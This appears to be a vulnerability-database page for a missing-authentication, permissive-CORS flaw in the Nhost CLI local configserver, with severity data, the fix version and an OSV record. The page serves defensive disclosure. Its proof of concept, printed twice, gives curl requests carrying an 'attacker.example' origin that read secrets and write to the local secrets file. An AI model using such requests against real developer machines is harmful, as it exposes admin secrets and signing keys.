CVE-2026-47671: Github.com/nhost/nhost Nhost CLI Local Configserver Allows Vulnerability

MODERATE
Advisory Identifier: GHSA-64cj-qvx5-m4f3
CVSS 5.4
CWE-306
Published
Advisory Summary

CVE-2026-47671 is a MODERATE (CVSS 5.4) nhost cli local configserver allows vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Github.com/nhost/nhost libraries in the Go ecosystem. The issue involves nhost cli local configserver allows cross-origin unauthenticated read/write access to local development configuration and secrets. Remediation is available by upgrading affected packages to version 0.0.0-20260518172022-e407511627d2.

CVE-2026-47671 at a Glance

CVE Identifier CVE-2026-47671
GHSA Identifier GHSA-64cj-qvx5-m4f3
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product Github.com/nhost/nhost
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-47671

To remediate this vulnerability, upgrade all affected Github.com/nhost/nhost dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/nhost/nhost fixed: 0.0.0-20260518172022-e407511627d2
Upgrade github.com/nhost/nhost to 0.0.0-20260518172022-e407511627d2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/nhost/nhost

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-47671, inspect your project dependencies for Github.com/nhost/nhost:

inspect dependencies for github.com/nhost/nhost

Analyze the terminal output to locate any version of Github.com/nhost/nhost in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260518172022-e407511627d2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Github.com/nhost/nhost, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The hidden `nhost configserver` used by `nhost dev` exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer's localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local `.secrets` file. This impacts developers using `nhost dev`: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project. ### Details The CLI registers a hidden `configserver` command in `cli/main.go:39` and `cli/main.go:41`. That command is used as the local development configserver image in `nhost dev`: `cli/cmd/dev/up.go:176` through `cli/cmd/dev/up.go:200` select `nhost/cli:<version>` as the configserver image, and `cli/dockercompose/configserver.go:80` through `cli/dockercompose/configserver.go:84` run it with the `configserver` command. The generated development dashboard receives the configserver and logs GraphQL URLs in public client-side environment variables at `cli/dockercompose/compose.go:347` through `cli/dockercompose/compose.go:358`. The configserver intentionally loads the local project files into Mimir's GraphQL resolver in `cli/cmd/configserver/configserver.go:143` through `cli/cmd/configserver/configserver.go:156`. However, the authorization directives passed to `graph.SetupRouter` are no-ops: - `cli/cmd/configserver/configserver.go:83` through `cli/cmd/configserver/configserver.go:89` define `dummyMiddleware`, which calls the next resolver without checking app visibility. - `cli/cmd/configserver/configserver.go:91` through `cli/cmd/configserver/configserver.go:98` define `dummyMiddleware2`, which calls the next resolver without checking roles. - `cli/cmd/configserver/configserver.go:161` through `cli/cmd/configserver/configserver.go:170` pass those dummy directive handlers and `cors.Default()` to the GraphQL router. The default `rs/cors` configuration allows all origins when no `AllowedOrigins` are specified: `vendor/github.com/rs/cors/cors.go:163` through `vendor/github.com/rs/cors/cors.go:167`, and `vendor/github.com/rs/cors/cors.go:248` through `vendor/github.com/rs/cors/cors.go:249` show `Default()` uses `Options{}`. A browser preflight from an arbitrary origin receives `Access-Control-Allow-Origin: *`. The exposed GraphQL schema includes sensitive queries and mutations: - `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:41` through `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:57` expose `configRawJSON`, `config`, and `appSecrets` by app ID. `appSecrets` is protected only by `@hasAppVisibility`, which the configserver replaces with the no-op `dummyMiddleware`. - `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:117` through `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:128` expose `insertSecret`, `updateSecret`, and `deleteSecret`, also protected only by the no-op `@hasAppVisibility` directive. - `vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:10` through `vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:30` return the app's secrets. - `vendor/github.com/nhost/be/services/mimir/graph/q_config_raw_json.go:12` returns raw JSON for the app configuration, which includes sensitive fields such as Hasura admin secrets and JWT signing keys in local development config. - `vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:11` through `vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:47` append attacker-supplied secrets and call plugin `UpdateSecrets`. - `cli/cmd/configserver/local.go:164` through `cli/cmd/configserver/local.go:175` marshal the new secrets and write them to the configured local secrets file with `os.WriteFile`. Because the local configserver uses a fixed zero UUID app ID for the local app (`cli/cmd/configserver/local.go:134`) and does not require cookies, tokens, or admin headers, a request only needs the known GraphQL endpoint and app ID. Candidate score: 14/14. - Reachability: 2 — reachable in the documented local development path using `nhost dev` and directly through the hidden `configserver` command. - Attacker control: 2 — GraphQL query and mutation bodies are fully attacker-controlled. - Privilege required: 2 — no authentication or local Nhost privileges are required beyond network/browser reachability to the developer's local configserver. - Sink impact: 2 — sensitive secret read and local secrets file write. - Mitigation weakness: 2 — role/app-visibility directives are replaced with no-op handlers, and CORS permits all origins. - Default exposure: 2 — enabled by the common local development setup. - Safe reproduction feasibility: 2 — confirmed locally with disposable fixture files. ### PoC The following proof uses only localhost and disposable temporary files. It does not contact external systems and does not read or modify real project secrets. 1. Start a configserver instance against temporary local files: ```sh tmpdir=$(mktemp -d) config="$tmpdir/nhost.toml" secrets="$tmpdir/.secrets" cat > "$config" <<'EOF' [hasura] adminSecret = 'local-test-admin-secret' webhookSecret = 'local-test-webhook-secret' [[hasura.jwtSecrets]] type = 'HS256' key = 'local-test-jwt-secret' [observability] [observability.grafana] adminPassword = 'local-test-grafana-password' EOF cat > "$secrets" <<'EOF' localProofSecret = 'LOCAL_PROOF_SECRET_VALUE' EOF port=18088 go run ./cli configserver \ --bind "127.0.0.1:$port" \ --storage-local-config-path "$config" \ --storage-local-secrets-path "$secrets" ``` 2. From another shell, show that a browser-style preflight from an arbitrary origin is accepted: ```sh curl -sS -i -X OPTIONS \ -H 'Origin: https://attacker.example' \ -H 'Access-Control-Request-Method: POST' \ -H 'Access-Control-Request-Headers: content-type' \ "http://127.0.0.1:18088/v1/configserver/graphql" ``` Observed proof output in this environment: ```text HTTP/1.1 204 No Content Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: POST Access-Control-Allow-Origin: * Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers ``` 3. Read local development secrets without any authentication: ```sh curl -sS -i \ -H 'Origin: https://attacker.example' \ -H 'Content-Type: application/json' \ --data '{"query":"query { appSecrets(appID: \"00000000-0000-0000-0000-000000000000\") { name value } }"}' \ "http://127.0.0.1:18088/v1/configserver/graphql" ``` Observed proof output in this environment: ```text HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"data":{"appSecrets":[{"name":"localProofSecret","value":"LOCAL_PROOF_SECRET_VALUE"}]}} ``` 4. Read sensitive local configuration without any authentication: ```sh curl -sS -i \ -H 'Origin: https://attacker.example' \ -H 'Content-Type: application/json' \ --data '{"query":"query { configRawJSON(appID: \"00000000-0000-0000-0000-000000000000\", resolve: false) }"}' \ "http://127.0.0.1:18088/v1/configserver/graphql" ``` Observed proof output in this environment: ```text HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"data":{"configRawJSON":"{\"hasura\":{\"adminSecret\":\"local-test-admin-secret\",\"jwtSecrets\":[{\"key\":\"local-test-jwt-secret\",\"type\":\"HS256\"}],\"webhookSecret\":\"local-test-webhook-secret\"},\"observability\":{\"grafana\":{\"adminPassword\":\"local-test-grafana-password\"}}}"}} ``` 5. Mutate the local `.secrets` file without any authentication: ```sh curl -sS -i \ -H 'Origin: https://attacker.example' \ -H 'Content-Type: application/json' \ --data '{"query":"mutation { insertSecret(appID: \"00000000-0000-0000-0000-000000000000\", secret: { name: \"INJECTED_BY_UNAUTHENTICATED_REQUEST\", value: \"SAFE_LOCAL_MARKER\" }) { name value } }"}' \ "http://127.0.0.1:18088/v1/configserver/graphql" grep -E 'INJECTED_BY_UNAUTHENTICATED_REQUEST|SAFE_LOCAL_MARKER' "$secrets" ``` Observed proof output in this environment: ```text HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"data":{"insertSecret":{"name":"INJECTED_BY_UNAUTHENTICATED_REQUEST","value":"SAFE_LOCAL_MARKER"}}} INJECTED_BY_UNAUTHENTICATED_REQUEST = 'SAFE_LOCAL_MARKER' ``` 6. Cleanup: ```sh # Stop the configserver process, then remove the disposable fixture directory. rm -rf "$tmpdir" ``` ### Impact An attacker who can cause a developer to visit a web page while `nhost dev` is running can use JavaScript from that page to send cross-origin GraphQL requests to the local Nhost configserver. The attacker can read local development secrets and configuration, including Hasura admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables stored in `.secrets`. The attacker can also mutate the local `.secrets` file, which can alter subsequent local development behavior and potentially poison local configuration consumed by services. This is not a hosted-production unauthenticated endpoint vulnerability; it affects the local developer environment. The realistic attacker model is a malicious web page, local unprivileged process, or same-network process that can reach the developer's local configserver route while the development stack is running. ### Remediation Addressed in [nhost/nhost#4302](https://github.com/nhost/nhost/pull/4302) with three layered controls: - **CORS restricted to the dashboard origin.** `cors.Default()` in `cli/cmd/configserver/configserver.go` is replaced by `corsMiddleware()`, which uses an `AllowOriginFunc` driven by `dashboardOriginRe = ^https?://([^./]+\.dashboard\.local\.nhost\.run|local\.dashboard\.nhost\.run)(:\d+)?$`. Arbitrary origins receive no `Access-Control-Allow-*` headers and are rejected by browsers. The allowlist is locked in by `cli/cmd/configserver/configserver_test.go`. - **Unguessable per-project app ID.** The fixed zero UUID is replaced by a UUIDv4 generated on first `nhost dev`, persisted to `.nhost/app_id` (mode `0600`) by `cli/clienv/appid.go`, and threaded via `NHOST_APP_ID` into the configserver container and `NEXT_PUBLIC_NHOST_APP_ID` into the dashboard. The configserver `serve` action validates the value with `uuid.Parse` at startup. Queries against any other app ID resolve to no app. - **In-memory secret redaction with reconciling writes.** `cli/cmd/configserver/local.go` adds `loadSecretsRedacted`, which substitutes every secret value with `<placeholder-from-local-configserver-substituted-for-real-secret>` before secrets enter the graph store, so `appSecrets` and any other read path return placeholders. `UpdateSecrets` reconciles incoming mutations against the on-disk `.secrets` file — placeholder values preserve the on-disk value, only real new values are written — so a caller that has not seen the real secret cannot overwrite it with a known string. Coverage in `cli/cmd/configserver/local_test.go`.

CVE-2026-47671 Affected Github.com/nhost/nhost Versions

1 component(s)
Fixed Versions:
0.0.0-20260518172022-e407511627d2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/nhost/nhost
Go
< 0.0.0-20260518172022-e407511627d2
0.0.0-20260518172022-e407511627d2

References

Frequently Asked Questions

What is CVE-2026-47671?
CVE-2026-47671 is a security vulnerability in Github.com/nhost/nhost involving Nhost CLI local configserver allows cross-origin unauthenticated read/write access to local development configuration and secrets under CWE-306: Missing Authentication for Critical Function.
Which Github.com/nhost/nhost versions are affected?
Affected versions include releases prior to 0.0.0-20260518172022-e407511627d2 across affected packages: github.com/nhost/nhost.
What version fixes CVE-2026-47671?
Upgrading to 0.0.0-20260518172022-e407511627d2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/nhost/nhost affected?
Yes, github.com/nhost/nhost is affected in releases prior to 0.0.0-20260518172022-e407511627d2. Upgrade your dependency to 0.0.0-20260518172022-e407511627d2 or later.
What is the CVSS score of CVE-2026-47671?
CVE-2026-47671 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-47671?
CVE-2026-47671 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check Go dependencies for CVE-2026-47671?
Run the dependency tree command: 'inspect dependencies for github.com/nhost/nhost'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-64cj-qvx5-m4f3",
  "modified" : "2026-06-04T17:43:40Z",
  "published" : "2026-06-04T17:43:40Z",
  "aliases" : [ "CVE-2026-47671" ],
  "summary" : "Nhost CLI local configserver allows cross-origin unauthenticated read/write access to local development configuration and secrets",
  "details" : "### Summary\n\nThe hidden `nhost configserver` used by `nhost dev` exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer's localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local `.secrets` file.\n\nThis impacts developers using `nhost dev`: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project.\n\n### Details\n\nThe CLI registers a hidden `configserver` command in `cli/main.go:39` and `cli/main.go:41`. That command is used as the local development configserver image in `nhost dev`: `cli/cmd/dev/up.go:176` through `cli/cmd/dev/up.go:200` select `nhost/cli:<version>` as the configserver image, and `cli/dockercompose/configserver.go:80` through `cli/dockercompose/configserver.go:84` run it with the `configserver` command. The generated development dashboard receives the configserver and logs GraphQL URLs in public client-side environment variables at `cli/dockercompose/compose.go:347` through `cli/dockercompose/compose.go:358`.\n\nThe configserver intentionally loads the local project files into Mimir's GraphQL resolver in `cli/cmd/configserver/configserver.go:143` through `cli/cmd/configserver/configserver.go:156`. However, the authorization directives passed to `graph.SetupRouter` are no-ops:\n\n- `cli/cmd/configserver/configserver.go:83` through `cli/cmd/configserver/configserver.go:89` define `dummyMiddleware`, which calls the next resolver without checking app visibility.\n- `cli/cmd/configserver/configserver.go:91` through `cli/cmd/configserver/configserver.go:98` define `dummyMiddleware2`, which calls the next resolver without checking roles.\n- `cli/cmd/configserver/configserver.go:161` through `cli/cmd/configserver/configserver.go:170` pass those dummy directive handlers and `cors.Default()` to the GraphQL router.\n\nThe default `rs/cors` configuration allows all origins when no `AllowedOrigins` are specified: `vendor/github.com/rs/cors/cors.go:163` through `vendor/github.com/rs/cors/cors.go:167`, and `vendor/github.com/rs/cors/cors.go:248` through `vendor/github.com/rs/cors/cors.go:249` show `Default()` uses `Options{}`. A browser preflight from an arbitrary origin receives `Access-Control-Allow-Origin: *`.\n\nThe exposed GraphQL schema includes sensitive queries and mutations:\n\n- `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:41` through `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:57` expose `configRawJSON`, `config`, and `appSecrets` by app ID. `appSecrets` is protected only by `@hasAppVisibility`, which the configserver replaces with the no-op `dummyMiddleware`.\n- `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:117` through `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:128` expose `insertSecret`, `updateSecret`, and `deleteSecret`, also protected only by the no-op `@hasAppVisibility` directive.\n- `vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:10` through `vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:30` return the app's secrets.\n- `vendor/github.com/nhost/be/services/mimir/graph/q_config_raw_json.go:12` returns raw JSON for the app configuration, which includes sensitive fields such as Hasura admin secrets and JWT signing keys in local development config.\n- `vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:11` through `vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:47` append attacker-supplied secrets and call plugin `UpdateSecrets`.\n- `cli/cmd/configserver/local.go:164` through `cli/cmd/configserver/local.go:175` marshal the new secrets and write them to the configured local secrets file with `os.WriteFile`.\n\nBecause the local configserver uses a fixed zero UUID app ID for the local app (`cli/cmd/configserver/local.go:134`) and does not require cookies, tokens, or admin headers, a request only needs the known GraphQL endpoint and app ID.\n\nCandidate score: 14/14.\n\n- Reachability: 2 — reachable in the documented local development path using `nhost dev` and directly through the hidden `configserver` command.\n- Attacker control: 2 — GraphQL query and mutation bodies are fully attacker-controlled.\n- Privilege required: 2 — no authentication or local Nhost privileges are required beyond network/browser reachability to the developer's local configserver.\n- Sink impact: 2 — sensitive secret read and local secrets file write.\n- Mitigation weakness: 2 — role/app-visibility directives are replaced with no-op handlers, and CORS permits all origins.\n- Default exposure: 2 — enabled by the common local development setup.\n- Safe reproduction feasibility: 2 — confirmed locally with disposable fixture files.\n\n### PoC\n\nThe following proof uses only localhost and disposable temporary files. It does not contact external systems and does not read or modify real project secrets.\n\n1. Start a configserver instance against temporary local files:\n\n\n```sh\ntmpdir=$(mktemp -d)\nconfig=\"$tmpdir/nhost.toml\"\nsecrets=\"$tmpdir/.secrets\"\n\ncat > \"$config\" <<'EOF'\n[hasura]\nadminSecret = 'local-test-admin-secret'\nwebhookSecret = 'local-test-webhook-secret'\n\n[[hasura.jwtSecrets]]\ntype = 'HS256'\nkey = 'local-test-jwt-secret'\n\n[observability]\n[observability.grafana]\nadminPassword = 'local-test-grafana-password'\nEOF\n\ncat > \"$secrets\" <<'EOF'\nlocalProofSecret = 'LOCAL_PROOF_SECRET_VALUE'\nEOF\n\nport=18088\ngo run ./cli configserver \\\n  --bind \"127.0.0.1:$port\" \\\n  --storage-local-config-path \"$config\" \\\n  --storage-local-secrets-path \"$secrets\"\n```\n\n\n\n2. From another shell, show that a browser-style preflight from an arbitrary origin is accepted:\n\n\n```sh\ncurl -sS -i -X OPTIONS \\\n  -H 'Origin: https://attacker.example' \\\n  -H 'Access-Control-Request-Method: POST' \\\n  -H 'Access-Control-Request-Headers: content-type' \\\n  \"http://127.0.0.1:18088/v1/configserver/graphql\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP/1.1 204 No Content\nAccess-Control-Allow-Headers: content-type\nAccess-Control-Allow-Methods: POST\nAccess-Control-Allow-Origin: *\nVary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers\n```\n\n\n\n3. Read local development secrets without any authentication:\n\n\n```sh\ncurl -sS -i \\\n  -H 'Origin: https://attacker.example' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"query\":\"query { appSecrets(appID: \\\"00000000-0000-0000-0000-000000000000\\\") { name value } }\"}' \\\n  \"http://127.0.0.1:18088/v1/configserver/graphql\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\n{\"data\":{\"appSecrets\":[{\"name\":\"localProofSecret\",\"value\":\"LOCAL_PROOF_SECRET_VALUE\"}]}}\n```\n\n\n\n4. Read sensitive local configuration without any authentication:\n\n\n```sh\ncurl -sS -i \\\n  -H 'Origin: https://attacker.example' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"query\":\"query { configRawJSON(appID: \\\"00000000-0000-0000-0000-000000000000\\\", resolve: false) }\"}' \\\n  \"http://127.0.0.1:18088/v1/configserver/graphql\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\n{\"data\":{\"configRawJSON\":\"{\\\"hasura\\\":{\\\"adminSecret\\\":\\\"local-test-admin-secret\\\",\\\"jwtSecrets\\\":[{\\\"key\\\":\\\"local-test-jwt-secret\\\",\\\"type\\\":\\\"HS256\\\"}],\\\"webhookSecret\\\":\\\"local-test-webhook-secret\\\"},\\\"observability\\\":{\\\"grafana\\\":{\\\"adminPassword\\\":\\\"local-test-grafana-password\\\"}}}\"}}\n```\n\n\n\n5. Mutate the local `.secrets` file without any authentication:\n\n\n```sh\ncurl -sS -i \\\n  -H 'Origin: https://attacker.example' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"query\":\"mutation { insertSecret(appID: \\\"00000000-0000-0000-0000-000000000000\\\", secret: { name: \\\"INJECTED_BY_UNAUTHENTICATED_REQUEST\\\", value: \\\"SAFE_LOCAL_MARKER\\\" }) { name value } }\"}' \\\n  \"http://127.0.0.1:18088/v1/configserver/graphql\"\n\ngrep -E 'INJECTED_BY_UNAUTHENTICATED_REQUEST|SAFE_LOCAL_MARKER' \"$secrets\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\n{\"data\":{\"insertSecret\":{\"name\":\"INJECTED_BY_UNAUTHENTICATED_REQUEST\",\"value\":\"SAFE_LOCAL_MARKER\"}}}\nINJECTED_BY_UNAUTHENTICATED_REQUEST = 'SAFE_LOCAL_MARKER'\n```\n\n\n\n6. Cleanup:\n\n\n```sh\n# Stop the configserver process, then remove the disposable fixture directory.\nrm -rf \"$tmpdir\"\n```\n\n\n### Impact\n\nAn attacker who can cause a developer to visit a web page while `nhost dev` is running can use JavaScript from that page to send cross-origin GraphQL requests to the local Nhost configserver. The attacker can read local development secrets and configuration, including Hasura admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables stored in `.secrets`. The attacker can also mutate the local `.secrets` file, which can alter subsequent local development behavior and potentially poison local configuration consumed by services.\n\nThis is not a hosted-production unauthenticated endpoint vulnerability; it affects the local developer environment. The realistic attacker model is a malicious web page, local unprivileged process, or same-network process that can reach the developer's local configserver route while the development stack is running.\n\n### Remediation\n\nAddressed in [nhost/nhost#4302](https://github.com/nhost/nhost/pull/4302) with three layered controls:\n\n- **CORS restricted to the dashboard origin.** `cors.Default()` in `cli/cmd/configserver/configserver.go` is replaced by `corsMiddleware()`, which uses an `AllowOriginFunc` driven by `dashboardOriginRe = ^https?://([^./]+\\.dashboard\\.local\\.nhost\\.run|local\\.dashboard\\.nhost\\.run)(:\\d+)?$`. Arbitrary origins receive no `Access-Control-Allow-*` headers and are rejected by browsers. The allowlist is locked in by `cli/cmd/configserver/configserver_test.go`.\n- **Unguessable per-project app ID.** The fixed zero UUID is replaced by a UUIDv4 generated on first `nhost dev`, persisted to `.nhost/app_id` (mode `0600`) by `cli/clienv/appid.go`, and threaded via `NHOST_APP_ID` into the configserver container and `NEXT_PUBLIC_NHOST_APP_ID` into the dashboard. The configserver `serve` action validates the value with `uuid.Parse` at startup. Queries against any other app ID resolve to no app.\n- **In-memory secret redaction with reconciling writes.** `cli/cmd/configserver/local.go` adds `loadSecretsRedacted`, which substitutes every secret value with `<placeholder-from-local-configserver-substituted-for-real-secret>` before secrets enter the graph store, so `appSecrets` and any other read path return placeholders. `UpdateSecrets` reconciles incoming mutations against the on-disk `.secrets` file — placeholder values preserve the on-disk value, only real new values are written — so a caller that has not seen the real secret cannot overwrite it with a known string. Coverage in `cli/cmd/configserver/local_test.go`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/nhost/nhost"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260518172022-e407511627d2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nhost/nhost/security/advisories/GHSA-64cj-qvx5-m4f3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nhost/nhost/pull/4302"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nhost/nhost/commit/e407511627d2c2c1137a70e9ca1ca31095d23479"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nhost/nhost"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nhost/nhost/releases/tag/cli@1.46.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-04T17:43:40Z",
    "nvd_published_at" : null
  }
}